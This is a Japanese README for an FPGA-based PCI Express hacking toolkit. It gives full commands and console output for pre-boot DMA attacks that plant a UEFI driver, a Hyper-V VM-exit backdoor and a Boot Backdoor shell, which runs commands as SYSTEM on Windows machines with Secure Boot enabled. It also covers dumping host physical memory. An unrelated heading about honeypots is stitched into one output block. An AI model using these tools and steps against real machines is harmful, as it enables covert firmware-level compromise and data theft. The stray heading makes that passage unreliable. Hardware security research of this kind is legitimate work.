
Xilinx SP605向けPCI Express DIYハッキングツールキット。このリポジトリはHyper-VバックドアとBootバックドアの本拠地でもあります。リンクと情報についてはreadmeを確認してください。
一般情報
内容
SP605ボード構成
ソフトウェア構成
例
Python APIの使用
実践的なDMA攻撃
Option ROM攻撃
トラブルシューティング
ソースコードからのプロジェクト構築
このリポジトリには、PCI-EバスとDMA攻撃に関連するツールと概念実証のセットが含まれています。Spartan-6 FPGAを搭載したXilinx SP605 Evaluation Kit向けに、ソフトウェアで制御可能なPCI-E Gen 1.1エンドポイントデバイスを実装するHDLデザインが含まれています。一般的なUSB3380EVBと比較して、このデザインはPCI-Eバスの生のトランザクションレベルパケット(TLP)を操作し、完全な64ビットメモリ読み取り/書き込み操作を実行できます。この設計の応用ユースケースを示すため、プラットフォーム初期化中に任意のUEFI DXEドライバーを実行できるUEFIベースのマシンに対する起動前DMA攻撃用のツールがあります。
このプログラムは、起動前DMA攻撃を使用して、UEFIセキュアブートが有効なプラットフォーム上で実行されているvirtualization-based securityが有効なWindows 10および11に、Hyper-V VM exit handlerバックドアを注入する方法を示しています。提供されているHyper-V Backdoor PoCは、リバースエンジニアリングやエクスプロイト開発の目的に役立つ可能性があり、ゲストパーティションからハイパーバイザーの状態(VMCS、物理/仮想メモリ、レジスタなど)を検査し、ゲストからホストへのVMエスケープ攻撃を実行するためのインターフェースを提供します。
別のプログラムは、起動前DMA攻撃を使用して、Boot Backdoorを使ったブートプロセスの乗っ取りにより、任意のユーザーモードまたはカーネルモードのコードをWindowsオペレーティングシステムに注入する方法を示しています。このプログラムはDMA Shellとも連携できます。DMA Shellは、悪意のあるPCI-Eデバイスを介してコンソールコマンドを実行し、ファイルを転送し、実行時にサードパーティの実行可能ファイルをターゲットオペレーティングシステムにロードできるBoot Backdoorペイロードです。
💾 このプロジェクトのHyper-V Backdoor部分には、このドキュメントで説明されている以外にも多くの機能と展開オプションがあります。特別なハードウェアがなくてもDMA攻撃ツールとは別に使用できます。そのドキュメントを確認してください
💾 このプロジェクトのBoot Backdoor部分には、このドキュメントで説明されている以外にも多くの機能と展開オプションがあります。特別なハードウェアがなくてもDMA攻撃ツールとは別に使用できます。そのドキュメントを確認してください
💾 このプロジェクトのPythonツールと、SP605、ZC706、PicoEVBボード用のFPGAデザインは、起動前DMA攻撃によるSMM Backdoor Next Genの展開にも使用できます。技術的な詳細についてはそのドキュメントを確認してください。
🛠️ このプロジェクトのPythonツールとペイロード(Hyper-V BackdoorやBoot Backdoorを含む)は、Xilinx Zynq-7000 SoCベースのボードでも使用できます。Xilinx ZC706評価キット用のDMA攻撃デザインには別のプロジェクトがあります。
🛠️ このプロジェクトのPythonツールとペイロード(Hyper-V BackdoorやBoot Backdoorを含む)は、PicoEVB開発ボードでも使用できます。M.2スロット用の完全自律型起動前DMA攻撃ハードウェアインプラントであり、任意のUEFI DXEドライバーをペイロードとして実行できる、別のPico DMAプロジェクト − があります。
s6_pcie_microblaze.xise − Xilinx ISEプロジェクトファイル。
microblaze/pcores/axis_pcie_v1_00_a/ − Spartan-6 FPGAのPCI Express統合エンドポイントブロックを生のTLPストリームとしてMicroBlazeソフトプロセッサコアに接続できるカスタムペリフェラルモジュール。
sdk/srec_bootloader_0/ − MicroBlazeソフトプロセッサ用のシンプルなブートローダー。SRECイメージ形式とSP605のオンボードリニアフラッシュメモリを使用して、メインのMicroBlazeプログラムをロードおよび格納します。
sdk/main_0/ − MicroBlazeソフトプロセッサ用のメインプログラム。SP605のオンボードイーサネットポートとlwIPネットワークスタックを使用して、PCI-Eバスの生のTLPパケットをTCP接続に転送します。
python/pcie_lib.py − SP605ボード上で実行されているメインのMicroBlazeプログラムとネットワーク経由で対話するためのPythonライブラリ。PythonコードからPCI-EのTLPレベルを操作するためのさまざまな低レベルおよび高レベルの抽象化を実装します。
python/pcie_mem.py − MRd TLPを送信して、ホストRAMの内容を画面または出力ファイルにダンプするコマンドラインプログラム。
python/pcie_mem_scan.py − 対象ホスト上でPCI-Eバスを介してアクセス可能な物理メモリ範囲をスキャンするコマンドラインプログラム。IOMMU有効プラットフォームのセキュリティ監査に役立ちます(例: 1、2、3、4)。
python/uefi_backdoor_simple.py − ダミーのUEFIドライバーを対象マシンのブートシーケンスに注入する起動前DMA攻撃用のコマンドラインプログラム。
Xilinx UG526ドキュメント、別名SP605 Hardware User Guideは、この素晴らしいボードの使用方法と構成について詳しく知りたい場合の最良の参考書です。
オンボードSPIフラッシュチップからビットストリームをロードするには、SW1スイッチを1-ON、2-OFFの位置に設定してSP605を構成する必要があります。
次に、FPGAビットストリームをSPIフラッシュに書き込む必要があります。Xilinx iMPACTユーティリティを使用してJTAG経由で書き込む場合はs6_pcie_microblaze.mcsファイルを使用してください(このチュートリアルを参照)。または、SP605のJ17ヘッダーに接続された外部SPIフラッシュプログラマーを使用したい場合はs6_pcie_microblaze.binを使用してください(これが最も速くて便利な方法です)。
flashrom互換のSPIフラッシュプログラマーの場合は、flashromラッパーとしてflash_to_spi.pyプログラムを使用できます:```
$ ./flash_to_spi.py linux_spi:dev=/dev/spidev1.0 s6_pcie_microblaze.bin
Using region: "main".
Calibrating delay loop... OK.
Found Winbond flash chip "W25Q64.V" (8192 kB, SPI) on linux_spi.
Reading old flash chip contents... done.
Erasing and writing flash chip...
Warning: Chip content is identical to the requested image.
Erase/write done.
3) 前のステップでSPIフラッシュに書き込まれたビットストリームファイルには、MicroBlazeコア用のカスタムブートローダーが含まれています(詳細は[bootloader.c](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/sdk/srec_bootloader_0/src/bootloader.c)を参照)。このブートローダーを使用すると、ボードオプションの設定や、SP605のUARTポート経由でのメインプログラムのリニアフラッシュへの書き込みが可能です。
MicroBlazeをアップデートモードで起動するには、SPIフラッシュプログラマを取り外し、`SW4`押しボタンスイッチを押したままボードの電源を入れます。アクティブなアップデートモードを示す`DS6` LEDが点灯したら、`SW4`を離します。
4) メインプログラム(詳細は[main.c](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/sdk/main_0/src/main.c)を参照)をリニアフラッシュに書き込むには、コンピュータをSP605のUARTブリッジUSBポートに接続し、`--flash`オプションを指定して`bootloader_ctl.py`プログラムを実行する必要があります。```
$ easy_install pyserial
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --flash sdk/main_0/Debug/main_0.srec
[+] Opening device "/dev/ttyUSB0"...
[+] Flasing 339852 bytes from "sdk/main_0/Debug/main_0.srec"...
Erasing flash...
Writing 0x100 bytes at 0x00100000
Writing 0x100 bytes at 0x00100100
...
Writing 0x100 bytes at 0x00152e00
Writing 0x8c bytes at 0x00152f00
[+] DONE
bootloader_ctl.py プログラムを --config オプション付きで実行する必要があります:```
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --config 192.168.2.247:255.255.255.0:192.168.2.1:28472
[+] Opening device "/dev/ttyUSB0"...
[+] Updating board settings...Address: 192.168.2.247 Netmask: 255.255.255.0 Gateway: 192.168.2.1 Port: 28472
Erasing flash... Writing 0x12 bytes at 0x00000000 [+] DONE
6) これでアップデートモードを終了し、リニアフラッシュからメインのMicroBlazeプログラムを起動できます:```
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --boot
[+] Opening device "/dev/ttyUSB0"...
[+] Exitting from update mode...
SREC Bootloader
Loading SREC image from flash at address: 42000000
Executing program starting at address: 00000000
Loading settings from flash...
[+] Address: 192.168.2.247
[+] Netmask: 255.255.255.0
[+] Gateway: 192.168.2.1
auto-negotiated link speed: 100
start_application(): TCP server is started at port 28472
メインプログラムはエラーメッセージをオンボードUARTに出力します。bootloader_ctl.py の --console オプションを使用すると、これらのメッセージをリアルタイムで監視できます。
SP605をターゲットコンピュータのPCI-Eスロットに接続し、コンピュータの電源を入れます。PCI-Eリンクが正常に確立されると、DS3 と DS4 LEDが点灯します。
ターゲットコンピュータで lspci コマンドを実行して、オペレーティングシステムがボードを適切なPCI-Eデバイスとして認識していることを確認します:```
01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID
JTAG関連の注意: SP605には、iMPACTおよびその他のXilinxツールと互換性のあるオンボードUSB-JTAGインターフェースが搭載されています。ただし、これはあまり良くないため、Xilinxのチュートリアルで説明されているようにオンボードJTAGを使用してSPIフラッシュをプログラムする予定がある場合は、次のことを行う必要があります:
* JTAGを使用している間は、SP605のFMCスロットに接続されているハードウェアをすべて取り外します。
* Xilinx iMPACTの設定で、JTAGインターフェースが750 KHzの速度を使用するように構成します(それより高速では不安定に動作します)。
Xilinx SP605ボードは、[Thunderbolt to PCI-E expansion chassis](https://www.amazon.com/s/ref?field-keywords=thunderbolt+to+pcie)を使用して、ターゲットコンピュータのThunderbolt 2/3外部ポートに接続することもできます。SP605は[比較的大きなボード](https://www.xilinx.com/support/answers/53808.html)であるため、一部のシャーシには収まらない可能性があることに注意してください。たとえば、私は[HighPoint RocketStor 6361A](http://www.highpoint-tech.com/USA_new/series_RS6361A_overview.htm) Thunderbolt 2エンクロージャを使用していますが、これは私のMacBook Proで問題なく動作します。
## ソフトウェア構成
ボードと対話するためのPythonツールと、PCI-Eトランザクションレイヤの小さな実装は、`python`フォルダにあります。メインのMicroBlazeプログラムはTLPパケットを転送するためにTCP接続を使用するため、ドライバやサードパーティの依存関係は不要で、提供されているPythonコードを任意のオペレーティングシステムで使用できます。
ターゲットボードのIPアドレスとポートを設定するには、`python/pcie_lib_config.py`ファイルの`PCIE_TO_TCP_ADDR`変数を編集します。
## 例
提供されたFPGAビットストリームによって実装されたPCI-Eデバイスに関する情報(ターゲットコンピュータから見たまま):```
$ lspci -vvs 01:00.0
01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID
Subsystem: Xilinx Corporation Default PCIe endpoint ID
Control: I/O- Mem- BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
Interrupt: pin A routed to IRQ 11
Region 0: Memory at f7d00000 (32-bit, non-prefetchable) [disabled] [size=1M]
Capabilities: [40] Power Management version 3
Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
Status: D0 NoSoftRst+ PME-Enable- DSel=0 DScale=0 PME-
Capabilities: [48] MSI: Enable- Count=1/1 Maskable- 64bit+
Address: 0000000000000000 Data: 0000
Capabilities: [58] Express (v1) Endpoint, MSI 00
DevCap: MaxPayload 512 bytes, PhantFunc 0, Latency L0s unlimited, L1 unlimited
ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop+
MaxPayload 128 bytes, MaxReadReq 512 bytes
DevSta: CorrErr+ UncorrErr- FatalErr+ UnsuppReq- AuxPwr- TransPend-
LnkCap: Port #0, Speed 2.5GT/s, Width x1, ASPM L0s, Latency L0 unlimited, L1 unlimited
ClockPM- Surprise- LLActRep- BwNot-
LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- Retrain- CommClk-
ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
LnkSta: Speed 2.5GT/s, Width x1, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
Capabilities: [100 v1] Device Serial Number 00-00-00-01-01-00-0a-35
Example of PCI-E device as it shown in Apple macOS hardware information when connected to the Thunderbolt 2 port of MacBook Pro:
On the attacker side you can use pcie_cfg.py program to view configuration space registers of PCI-E device:```
$ ./pcie_cfg.py
[+] PCI-E link with target is up
[+] Device address is 03:00.0
VENDOR_ID = 0x10ee
DEVICE_ID = 0x1337
COMMAND = 0x0
STATUS = 0x10
REVISION = 0x0
CLASS_PROG = 0x0
CLASS_DEVICE = 0x200
CACHE_LINE_SIZE = 0x10
LATENCY_TIMER = 0x0
HEADER_TYPE = 0x0
BIST = 0x0
BASE_ADDRESS_0 = 0x90500000
BASE_ADDRESS_1 = 0x0
BASE_ADDRESS_2 = 0x0
BASE_ADDRESS_3 = 0x0
BASE_ADDRESS_4 = 0x0
BASE_ADDRESS_5 = 0x0
CARDBUS_CIS = 0x0
SUBSYSTEM_VENDOR_ID = 0x10ee SUBSYSTEM_ID = 0x7 ROM_ADDRESS = 0x0 INTERRUPT_LINE = 0xff INTERRUPT_PIN = 0x1 MIN_GNT = 0x0 MAX_LAT = 0x0
#### その他注目のオープンソースハニーポット```
$ ./pcie_cfg.py -x
[+] PCI-E link with target is up
[+] Device address is 03:00.0
0000: 0x10ee 0x1337
0004: 0x0000 0x0010
0008: 0x0000 0x0200
000c: 0x0010 0x0000
0010: 0x0000 0x9050
0014: 0x0000 0x0000
0018: 0x0000 0x0000
001c: 0x0000 0x0000
0020: 0x0000 0x0000
0024: 0x0000 0x0000
0028: 0x0000 0x0000
002c: 0x10ee 0x0007
0030: 0x0000 0x0000
0034: 0x0040 0x0000
0038: 0x0000 0x0000
003c: 0x01ff 0x0000
...
以下は、pcie_mem.py プログラムを使用して、対象コンピュータの物理メモリをアドレス0から0x80バイトダンプする例です:```
$ DEBUG_TLP=1 ./pcie_mem.py 0x0 0x80
TLP TX: size = 0x04, source = 01:00.0, type = MRd64
tag = 0x00, bytes = 0x84, addr = 0x00000000
0x20000021 0x010000ff 0x00000000 0x00000000
TLP RX: size = 0x23, source = 00:00.0, type = CplD tag = 0x00, bytes = 132, req = 01:00.0, comp = 00:00.0
0x4a000020 0x00000084 0x01000000
0xf3ee00f0 0xf3ee00f0 0xc3e200f0 0xf3ee00f0
0xf3ee00f0 0x54ff00f0 0x053100f0 0xfe3000f0
0xa5fe00f0 0xe40400e8 0xf3ee00f0 0xf3ee00f0
0xf3ee00f0 0xf3ee00f0 0x57ef00f0 0x53ff00f0
0x140000c0 0x4df800f0 0x41f800f0 0x59ec00f0
0x39e700f0 0xd40600e8 0x2ee800f0 0xd2ef00f0
0x00e000f0 0xf2e600f0 0x6efe00f0 0x53ff00f0
0x53ff00f0 0xa4f000f0 0xc7ef00f0 0xb19900c0
TLP RX: size = 0x04, source = 00:00.0, type = CplD tag = 0x00, bytes = 4, req = 01:00.0, comp = 00:00.0
0x4a000001 0x00000004 0x01000000
0xf3ee00f0
00000000: f3 ee 00 f0 f3 ee 00 f0 c3 e2 00 f0 f3 ee 00 f0 | ................ 00000010: f3 ee 00 f0 54 ff 00 f0 05 31 00 f0 fe 30 00 f0 | ....T....1...0.. 00000020: a5 fe 00 f0 e4 04 00 e8 f3 ee 00 f0 f3 ee 00 f0 | ................ 00000030: f3 ee 00 f0 f3 ee 00 f0 57 ef 00 f0 53 ff 00 f0 | ........W...S... 00000040: 14 00 00 c0 4d f8 00 f0 41 f8 00 f0 59 ec 00 f0 | ....M...A...Y... 00000050: 39 e7 00 f0 d4 06 00 e8 2e e8 00 f0 d2 ef 00 f0 | 9............... 00000060: 00 e0 00 f0 f2 e6 00 f0 6e fe 00 f0 53 ff 00 f0 | ........n...S... 00000070: 53 ff 00 f0 a4 f0 00 f0 c7 ef 00 f0 b1 99 00 c0 | S...............
物理メモリをファイルに保存する例:```
./pcie_mem.py 0x14000000 0x8000 dumped.bin
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Reading 0x14000000
[+] Reading 0x14001000
[+] Reading 0x14002000
[+] Reading 0x14003000
[+] Reading 0x14004000
[+] Reading 0x14005000
[+] Reading 0x14006000
[+] Reading 0x14007000
[+] Reading 0x14008000
32768 bytes written into the dumped.bin
提供されるPythonソフトウェアは、特定のオプションのデフォルト値を上書きするために、いくつかの環境変数を使用します。
DEBUG_TLP − 1に設定すると、TXおよびRX TLPパケットのダンプを標準出力に出力します。
TARGET_ADDR − python/pcie_lib_config.pyファイルで指定されたボードのIPアドレスを上書きするための<address>:<port>文字列。
Pythonライブラリpcie_lib.pyは、PCE-E TLPパケットを送受信するための低レベルAPIと、さまざまなTLPタイプの抽象化、および高レベルの物理メモリアクセスAPIを提供します。
次のプログラムは、pcie_lib.pyを使用して生のTLPを扱う方法を示しています。```python
from pcie_lib import *
dev = TransactionLayer(addr = ( '192.168.2.247', 28472 ))
bus_id = dev.get_bus_id()
tlp_tx = [ 0x20000001, # TLP type and data size 0x000000ff | (bus_id << 16), # requester ID 0x00000000, # high dword of physical memory address 0x00001000 ] # low dword of physical memory address
dev.write(tlp_tx)
tlp_rx = dev.read(raw = True)
print('%.8x %.8x %.8x %.8x' % tuple(tlp_rx))
assert (tlp_rx[0] >> 24) & 0xff == 0x4a
print('%.8x' % tlp_rx[3])
dev.close()
より便利な高レベルの抽象化を使用したTLPの操作:```python
# MRd TLP request which reads 1 dword of memory at address 0x1000
tlp_tx = dev.PacketMRd64(dev.bus_id, 0x1000, 4)
# send TLP
dev.write(tlp_tx)
# receive root complex reply
tlp_rx = dev.read()
# check for CplD TLP
assert isinstance(tlp_rx, dev.PacketCplD)
# print readed dword
print('%.8x' % tlp_rx.data[0])
高レベルAPIによる物理メモリへのアクセス:```python
dev.mem_write(0x1000, '\xAA' * 0x10)
dev.mem_write_8(0x1000, 0) dev.mem_write_4(0x1000, 0) dev.mem_write_2(0x1000, 0) dev.mem_write_1(0x1000, 0)
print(repr(dev.mem_read(0x1000, 0x10)))
print('%.16x' % dev.mem_read_8(0x1000)) print('%.8x' % dev.mem_read_4(0x1000)) print('%.4x' % dev.mem_read_2(0x1000)) print('%.2x' % dev.mem_read_1(0x1000))
## 実践的なDMA攻撃
このプロジェクトの主な目的の1つは、いわゆるプリブートDMA攻撃を実行するための柔軟で便利なツールセットを提供することです。通常のDMA攻撃と比較して、プリブートDMA攻撃はオペレーティングシステム自体ではなく、プラットフォーム初期化のUEFI DXEフェーズのプリブート環境を対象としています。このような攻撃により、[IOMMU](https://en.wikipedia.org/wiki/Input%E2%80%93output_memory_management_unit)やオペレーティングシステムのその他のセキュリティ機能がまだ初期化されていない比較的早い段階で悪意のあるコードを実行できます。
<img src="https://assets.kitploit.com/production/public/readmes/47570/6a87a76c672dc69ade501714127d61c89fb94cc82f3593bf9480275fe539169e.jpg" width="610">
プリブートDMA攻撃により、UEFIセキュアブートや[Intel Boot Guard](https://edk2-docs.gitbook.io/understanding-the-uefi-secure-boot-chain/secure_boot_chain_in_uefi/intel_boot_guard)などのプラットフォームファームウェアのさまざまなセキュリティ機能をバイパスできます。
Pythonプログラム`uefi_backdoor_simple.py`は、前述のプリブートDMA攻撃を使用して、`payloads/DmaBackdoorSimple`フォルダにあるダミーのUEFI DXEドライバをターゲットシステムのブートシーケンスに注入します。このプログラムを使用するには、次の手順を実行する必要があります。
1) ターゲットコンピュータの電源を切ります。
2) SP605ボードをターゲットコンピュータのPCI-E(またはMini PCI-E、M.2)ポートに接続します。
3) ボードの電源を入れ、`bootloader_ctl.py`プログラムによるボード構成時に指定したIPアドレスにpingを送信して、Microblazeファームウェアが正常に初期化されたことを確認します。
4) 次のコマンドを実行して、プリブートDMA攻撃を開始します。```
$ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi
攻撃成功後の uefi_backdoor_simple.py コンソール出力の例:```
$ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi
[+] Using UEFI system table hook injection method
[+] Reading DXE phase payload from payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi
[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] TSEG is somewhere around 0xd7000000
[+] PE image is at 0xd6260000
[+] EFI_SYSTEM_TABLE is at 0xd61eaf18
[+] EFI_BOOT_SERVICES is at 0xd680aa00
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0xd67e2c18
Backdoor image size is 0x1240
Backdoor entry RVA is 0x31c
Planting DXE stage driver at 0x10000...
Hooking LocateProtocol(): 0xd67e2c18 -> 0x0001031c
0.780202 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed
[+] DONE
このダミーUEFI DXEドライバは、`uefi_backdoor_simple.py` プログラムとともに、オペレーティングシステムのブートローダー、カーネル、またはハイパーバイザーへの悪意のあるコードの注入などのさまざまな攻撃を実装するためのスケルトンプロジェクトとして使用できます。
別のPythonプログラムもあります − `uefi_backdoor_hv.py` は、`payloads/DmaBackdoorHv` フォルダにあるHyper-V VM exitハンドラーバックドアを、前のダミーUEFI DXEドライバとまったく同じ方法でターゲットシステムの起動シーケンスに注入します。以下はその使用例です:```
$ ./uefi_backdoor_hv.py --driver payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi
[+] Using UEFI system table hook injection method
[+] Reading DXE phase payload from payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi
[+] Waiting for PCI-E link...
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] Looking for DXE driver PE image...
[+] PE image is at 0x77160000
[+] EFI_SYSTEM_TABLE is at 0x7a03e018
[+] EFI_BOOT_SERVICES is at 0x7a38fa30
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4
Backdoor image size is 0x2c20
Backdoor entry RVA is 0xbd4
Planting DXE stage driver at 0xc0000...
Hooking LocateProtocol(): 0x7a3987b4 -> 0x000c0bd4
3.611646 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option
[+] Waiting for Hyper-V load...
[+] Hyper-V image was loaded
Hyper-V image base: 0xfffff8072d690000
Image entry: 0xfffff8072d901360
VM exit handler: 0xfffff8072d8add90
[+] DONE
Hyper-V Backdoor の UEFI DXE ドライバも、デバッグメッセージを画面上に表示します。さらに、uefi_backdoor_hv.py の --debug-output オプションを使用すると、このデバッグメッセージをターゲットシステムの物理メモリから読み取り、stdout に出力できます:```
$ ./uefi_backdoor_hv.py --debug-output
[+] PCI-E link with target is up
[+] Debug output buffer address is 0x79db3000
DmaBackdoorHv.c(1018) : ****************************** DmaBackdoorHv.c(1019) : DmaBackdoorHv.c(1020) : Hyper-V backdoor loaded! DmaBackdoorHv.c(1021) : DmaBackdoorHv.c(1022) : ****************************** DmaBackdoorHv.c(1055) : Image address is 0xc0000 DmaBackdoorHv.c(275) : BackdoorImageRealocate(): image size = 0x3260 DmaBackdoorHv.c(1065) : Resident code base address is 0x79daf000 DmaBackdoorHv.c(794) : Protocol notify handler is at 0x79daf364 DmaBackdoorHv.c(819) : BackdoorEntryResident() DmaBackdoorHv.c(830) : OpenProtocol() hook was set, handler = 0x79db1477 DmaBackdoorHv.c(835) : ExitBootServices() hook was set, handler = 0x79db1487 DmaBackdoorHv.c(447) : winload.dll is at 0x8ee000 DmaBackdoorHv.c(448) : winload!BlLdrLoadImage() is at 0x984a10 DmaBackdoorHv.c(477) : 535 free bytes found at the end of the code section at 0xa4ade9 DmaBackdoorHv.c(527) : winload!BlLdrLoadImage() hook was set, handler is at 0x79daf50c DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\mcupdate_GenuineIntel.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hvix64.exe" HyperV.c(369) : HyperVHook(): Hyper-V image is at 0xfffff80144e0d000 HyperV.c(388) : HyperVHook(): Resources section RVA is 0x1400000 (0x200000 bytes) HyperV.c(425) : HyperVHook(): Code section RVA is 0x200000 HyperV.c(604) : HyperVHook(): Hyper-V VM exit handler is at 0xfffff8014502ad90 HyperV.c(605) : HyperVHook(): Backdoor code size is 684 bytes DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\kdstub.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hv.exe" DmaBackdoorHv.c(560) : new_ExitBootServices() called
Hyper-V Backdoorのユースケースと機能の詳細については、[READMEファイル](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/python/payloads/DmaBackdoorHv/README.MD)を参照してください。
Pythonプログラム`uefi_backdoor_boot.py`および`uefi_backdoor_boot_shell.py`は、ターゲットシステムの起動シーケンスにBoot Backdoorを注入するために使用されます。Boot Backdoorを使用すると、Windowsオペレーティングシステムの下で任意のユーザーモードまたはカーネルモードのコードを実行でき、そのペイロードであるDMA Shellを使用すると、コンソールコマンドの実行とファイル転送が可能になります。プリブートDMA攻撃を使用してBoot BackdoorとDMA Shellを展開するには、前述の手順と同じ手順を実行する必要がありますが、`uefi_backdoor_boot_shell.py`プログラムを使用します。```
$ ./uefi_backdoor_boot_shell.py --command "whoami"
[+] 44544 bytes of payload image read
[+] 21299 bytes of payload image after the compression
[+] Using UEFI system table hook injection method
[+] Waiting for PCI-E link...
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Looking for DXE driver PE image...
[+] PE image is at 0x7a070000
[+] EFI_SYSTEM_TABLE is at 0x7a03e018
[+] EFI_BOOT_SERVICES is at 0x7a38fa30
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4
Backdoor image size is 0x14847
Backdoor entry RVA is 0x908
Planting DXE stage driver at 0xc0000...
Hooking LocateProtocol(): 0x7a3987b4 -> 0x000c0908
1.759079 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option
[+] Waiting for backdoor load...
[+] Winload image was loaded
Image base: 0x0086a000
OslArchTransferToKernel: 0x009c4b20
[+] DONE
[+] Waiting for payload init...
[+] Payload shared memory region is at 0x00200000
[+] Executing command: whoami
[+] Process exit code: 0x00000000
nt authority\system
Now, when Boot Backdoor with its payload was successfully loaded, you can run uefi_backdoor_boot_shell.py with --attach option to communicate with currently running instance of DMA Shell:```
$ ./uefi_backdoor_boot_shell.py --attach --command "hostname"
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Payload shared memory region is at 0x00200000
[+] Executing command: hostname
[+] Process exit code: 0x00000000
DESKTOP-E52IJJ8
また、`--debug-output` オプションを使用すると、Boot Backdoor UEFI DXE ドライバのデバッグメッセージを取得して、stdout に出力できます:```
$ ./uefi_backdoor_boot_shell.py --debug-output
[+] PCI-E link with target is up
[+] Debug output buffer address is 0x79da2000
DmaBackdoorBoot.c(630) : ******************************
DmaBackdoorBoot.c(631) :
DmaBackdoorBoot.c(632) : Boot backdoor loaded!
DmaBackdoorBoot.c(633) :
DmaBackdoorBoot.c(634) : ******************************
DmaBackdoorBoot.c(668) : Image address is 0xc0000
DmaBackdoorBoot.c(711) : Payload is not present
DmaBackdoorBoot.c(276) : BackdoorImageRealocate(): image size = 0xf500
DmaBackdoorBoot.c(722) : Resident code base address is 0x79d8c000
DmaBackdoorBoot.c(430) : Protocol notify handler is at 0x79d8c364
DmaBackdoorBoot.c(455) : BackdoorEntryResident()
DmaBackdoorBoot.c(464) : ExitBootServices() hook was set, handler = 0x79d8ded7
DmaBackdoorBoot.c(358) : new_ExitBootServices() called
Winload.c(419) : WinloadHook(): winload image is at 0x86a000
Winload.c(507) : winload!HvlpBelow1MbPage is at 0xa037c8
Winload.c(508) : winload!HvlpBelow1MbPageAllocated is at 0xa037b9
Winload.c(587) : winload!OslArchTransferToKernel() is at 0x9c4b20
Boot Backdoorのユースケースと機能の詳細については、READMEファイルを確認してください。
Pythonプログラムuefi_backdoor_simple.py、uefi_backdoor_hv.py、uefi_backdoor_boot.py、uefi_backdoor_boot_shell.pyは、注入されたUEFI DXEドライバイメージに実行を渡すための2つの異なる方法をサポートしています:
EFI_SYSTEM_TABLEハイジャック − 署名によってEFIシステムテーブルを見つけてLocateProtocol()関数アドレスをパッチするために、物理アドレス0xf0000000から0まで0x10000バイトのステップでシステムメモリを下方向にスキャンします。メモリスキャンオプションを上書きするには、SCAN_FROMおよびSCAN_STEP環境変数を使用できます。
PROTOCOL_ENTRYハイジャック − CPU I/O 2プロトコルのEFI_CPU_IO2_PROTOCOL構造体を見つけてその関数の1つをパッチするために、物理アドレス0x76000000から0xa0000000まで0x1000バイトのステップでシステムメモリを上方向にスキャンします。メモリスキャンオプションを上書きするには、SCAN_FROM、SCAN_TO、環境変数を使用できます。
デフォルトでは、4つのプログラムすべてがEFIシステムテーブルハイジャック方式を使用します。代わりにプロトコルエントリ方式を使用するには、該当するプログラムに--inj-protコマンドラインオプションを渡します。攻撃に必要な時間を短縮するには、事前に見つけたEFI_SYSTEM_TABLE構造体アドレスを--system-tableオプションで指定し、PROTOCOL_ENTRY構造体アドレスを--prot-entryオプションで指定できます。また、4つのPythonプログラムすべてに--testコマンドラインオプションがあります。このオプションは、実行フローの実際のハイジャックを行わずにメモリスキャンを実行して必要な構造体アドレスを見つけるために使用します。つまり、最初の起動時に--testオプションを付けて目的のプログラムを実行して必要なアドレスを見つけ、2回目の起動時に同じプログラムを--system-tableまたは--prot-entryオプションを付けて実行し、そのアドレスを指定できます。
